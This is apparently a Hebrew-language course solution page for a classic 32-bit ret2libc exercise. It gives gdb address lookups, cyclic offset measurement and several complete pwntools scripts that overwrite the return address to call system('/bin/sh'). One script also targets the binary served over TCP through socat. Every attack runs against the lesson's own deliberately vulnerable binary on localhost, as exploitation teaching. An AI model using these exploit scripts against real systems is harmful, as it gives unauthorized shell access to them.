4.2 ret2libc קלאסי פתרון
פתרון - ret2libc קלאסי¶
נעבור תרגיל אחרי תרגיל עם הפקודות האמיתיות, הפלט הצפוי, וה-exploit המלא. הכתובות בפלט הן דוגמה מהמערכת שלי והן תלויות בגרסת ה-libc שלכם - תמיד שלפו את הכתובות מה-libc שלכם ואל תעתיקו אותן עיוור.
פתרון תרגיל 1 - סיור ומדידה¶
בדיקת ההגנות:
המצב NX enabled הוא הסיבה שאנחנו בכלל צריכים ret2libc - אי אפשר shellcode על המחסנית. No canary אומר שהoverflow לא נתפסת. No PIE פחות קריטי כאן כי ממילא נשתמש בכתובות libc ולא בכתובות הבינארי, אבל הוא מקל.
איזו libc נטענת:
$ ldd ./ret2libc
linux-gate.so.1 (0xf7fc7000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dd4000)
/lib/ld-linux.so.2 (0xf7fc9000)
הנתיב הוא /lib/i386-linux-gnu/libc.so.6, וכתובת הבסיס שלה בהרצה הזו היא 0xf7dd4000 (יציבה רק כי ASLR כבוי).
מדידת ה-offset עם cyclic:
from pwn import *
context.binary = ELF('./ret2libc')
p = process('./ret2libc')
p.sendline(cyclic(200))
p.wait()
core = p.corefile
fault = core.read(core.esp, 4) # what was on top of the stack at ret
log.info('offset = %d', cyclic_find(fault))
אצלי יצא offset = 92 (buffer 80 + padding alignment + saved ebp של 4). אצלכם זה עשוי להיות מעט שונה לפי המהדר - זו הסיבה שמודדים ולא מניחים.
פתרון תרגיל 2 - מציאת הכתובות ב-libc¶
עוצרים ב-main ומריצים, כדי ש-libc תהיה כבר ממופה:
$ gdb -q ./ret2libc
pwndbg> break main
pwndbg> run
pwndbg> p system
$1 = {int (const char *)} 0xf7e0c8d0 <system>
pwndbg> p exit
$2 = {void (int)} 0xf7dfe850 <exit>
המחרוזת "/bin/sh" שבתוך libc:
או בלי pwndbg:
שלוש הכתובות:
בין שתי הרצות הכתובות זהות, כי ASLR כבוי מקבע את בסיס ה-libc. אילו ASLR היה פעיל, בסיס ה-libc היה מוגרל מחדש בכל הרצה, ושלוש הכתובות היו זזות יחד - ואז לא היינו יכולים לכתוב אותן מראש. שימו לב שכולן במרחק קבוע מבסיס ה-libc, ולכן leak של אחת מגלה את כולן.
פתרון תרגיל 3 - exploit ידני ל-shell¶
מרכיבים את המבנה [system] [exit] [binsh] אחרי padding באורך ה-offset:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./ret2libc')
system = 0xf7e0c8d0
exit_a = 0xf7dfe850
binsh = 0xf7f4d4af
offset = 92
payload = flat({offset: [
system, # overwrites the return address -> jumps to system
exit_a, # fake return address for system (clean exit)
binsh, # first argument: pointer to "/bin/sh"
]})
p = process('./ret2libc')
p.recvuntil(b'your bytes:')
p.sendline(payload)
p.interactive()
הפלט:
[+] Starting local process './ret2libc': pid 20481
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ ls
ret2libc ret2libc.c
למה זה עבד: ה-ret של vuln קפץ ל-system, שמצאה בראש המחסנית את סלוט ה-exit (הreturn address שלה) ומעליו את המצביע ל-"/bin/sh" בתור הארגומנט. system("/bin/sh") פתחה shell. איך להכליל: זה השלד המינימלי של כל ret2libc ב-32 ביט - שלושה ערכים על המחסנית, בלי גאדג'ט אחד.
פתרון תרגיל 4 - exploit בלי כתובות קשיחות¶
נותנים ל-pwntools לחשב הכל מתוך אובייקט ה-libc:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./ret2libc')
libc = elf.libc # /lib/i386-linux-gnu/libc.so.6 per ldd
p = process('./ret2libc')
# ASLR off -> libc base is stable, grab it from the process's mapping table
libc.address = p.libs()[libc.path]
log.info('libc base = %#x', libc.address)
system = libc.symbols['system']
exit_a = libc.symbols['exit']
binsh = next(libc.search(b'/bin/sh\x00'))
log.info('system=%#x exit=%#x binsh=%#x', system, exit_a, binsh)
offset = 92
payload = flat({offset: [system, exit_a, binsh]})
p.recvuntil(b'your bytes:')
p.sendline(payload)
p.interactive()
הלוג ידפיס בדיוק את אותן שלוש כתובות שמצאנו ידנית ב-gdb:
למה זה עבד: libc.address מקבע את בסיס ה-libc, וממנו symbols ו-search מחזירים כתובות ריצה אמיתיות. איך להכליל: זה בדיוק הסקריפט שנשתמש בו ב-4.4 מול ASLR פעיל - ההבדל היחיד הוא שאת libc.address שם נחשב מתוך leak של כתובת libc כלשהי, במקום לשלוף מ-p.libs() שעובד רק כי ASLR כבוי.
פתרון תרגיל 5 - מה קורה כשמשמיטים דברים¶
השמטת סלוט החזרה המזויף - שולחים [system] [binsh] בלבד:
תחת gdb נראה ש-system רצה, אבל ברגע שהיא מנסה לקרוא את הארגומנט שלה היא מסתכלת על הסלוט שמיד אחרי הreturn address - שהוא עכשיו binsh בתור הreturn address שלה, ולא בתור הארגומנט. הארגומנט הראשון הוא מה שמעל, וזה כבר זבל שמעבר לpadding. התוצאה: system מקבלת מצביע לא חוקי כפקודה, או קורסת כשהיא מנסה לחזור ל-binsh (שהיא לא כתובת קוד חוקית לחזרה). זו ההוכחה שסלוט החזרה המזויף חובה - בלעדיו הכל מוזז מקום אחד.
שינוי ה-offset ב-4 בתים: אם קטנתם ב-4, הכתובת של system נכתבת 4 בתים מוקדם מדי ולא נוחתת בדיוק על סלוט הreturn address - ה-ret יקפוץ לזבל ותהיה קריסה. אם גדלתם ב-4, הreturn address נשארת עם 4 בתים מהpadding המקורי ו-system נכתבת בסלוט הלא נכון. בשני המקרים המבנה מתפרק. זה ממחיש כמה ה-offset חייב להיות מדויק לבית.
הפעלת ASLR מחדש והרצת ה-exploit הקשיח:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
for i in $(seq 5); do python3 exploit3.py < /dev/null; done
כמעט כל ההרצות ייכשלו עם SIGSEGV, כי בסיס ה-libc מוגרל מחדש בכל הרצה והכתובת הקשיחה 0xf7e0c8d0 כבר לא מצביעה ל-system. במקרה נדיר מאוד (הסתברות זעירה) הגורל יפיל את libc על אותו בסיס וזה יעבוד - אבל אי אפשר לסמוך על זה. זו בדיוק הסיבה שהשיעור הבא (4.4) עוסק בדליפת כתובת libc בזמן ריצה, כדי לחשב את הבסיס במקום לנחש אותו.
פתרון תרגיל 6 (בונוס) - מחרוזת משלכם והכללה לשרת¶
מחרוזת /bin/sh דרך משתנה סביבה:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./ret2libc')
libc = elf.libc
p = process('./ret2libc', env={'BINSH': '/bin/sh'})
libc.address = p.libs()[libc.path]
system = libc.symbols['system']
exit_a = libc.symbols['exit']
binsh = 0xffffd6e2 # address of the string on the stack - found in gdb
offset = 92
payload = flat({offset: [system, exit_a, binsh]})
p.recvuntil(b'your bytes:')
p.sendline(payload)
p.interactive()
את הכתובת 0xffffd6e2 מצאנו ב-gdb כשהרצנו את הבינארי עם אותו משתנה סביבה:
מתי הטריק שימושי: כשמסיבה נדירה אין "/bin/sh" בתוך ה-libc, או כשרוצים לשלוט בדיוק בפקודה שתרוץ. מתי הוא שביר: הכתובת על המחסנית זזה אם משתנה אורך שם התוכנית (argv[0]) או מספר משתני הסביבה, ועם ASLR פעיל היא לא דטרמיניסטית בכלל. לכן ברירת המחדל היא תמיד המחרוזת שבתוך libc.
הכללה לשרת מרוחק (מבוסס על exploit תרגיל 4):
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./ret2libc')
libc = elf.libc
def conn():
if args.REMOTE:
return remote('127.0.0.1', 1337)
return process('./ret2libc')
p = conn()
libc.address = p.libs()[libc.path] # locally: stable since ASLR is off
system = libc.symbols['system']
exit_a = libc.symbols['exit']
binsh = next(libc.search(b'/bin/sh\x00'))
offset = 92
payload = flat({offset: [system, exit_a, binsh]})
p.recvuntil(b'your bytes:')
p.sendline(payload)
p.interactive()
מריצים את השרת ותוקפים:
# window 1
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./ret2libc
# window 2
python3 exploit.py REMOTE
ומקבלים shell מרוחק.
למה זה עבד: מקומית p.libs() נותן את בסיס ה-libc היציב (ASLR כבוי). איך להכליל: שימו לב לפינה החשובה - מול שרת אמיתי עם ASLR פעיל, p.libs() של תהליך שאתם לא שולטים בזיכרון שלו כבר לא יעזור, וגם ה-libc על השרת עשויה להיות גרסה אחרת. אז צריך שני דברים: קובץ ה-libc המדויק של השרת (כדי לדעת את ההיסטים), וleak בזמן ריצה כדי לחשב את הבסיס. את שניהם נלמד ב-4.4. ret2libc שראינו כאן הוא החלק שנשאר קבוע: ברגע שיש לכם את הכתובות, בניית הקריאה ל-system זהה לחלוטין.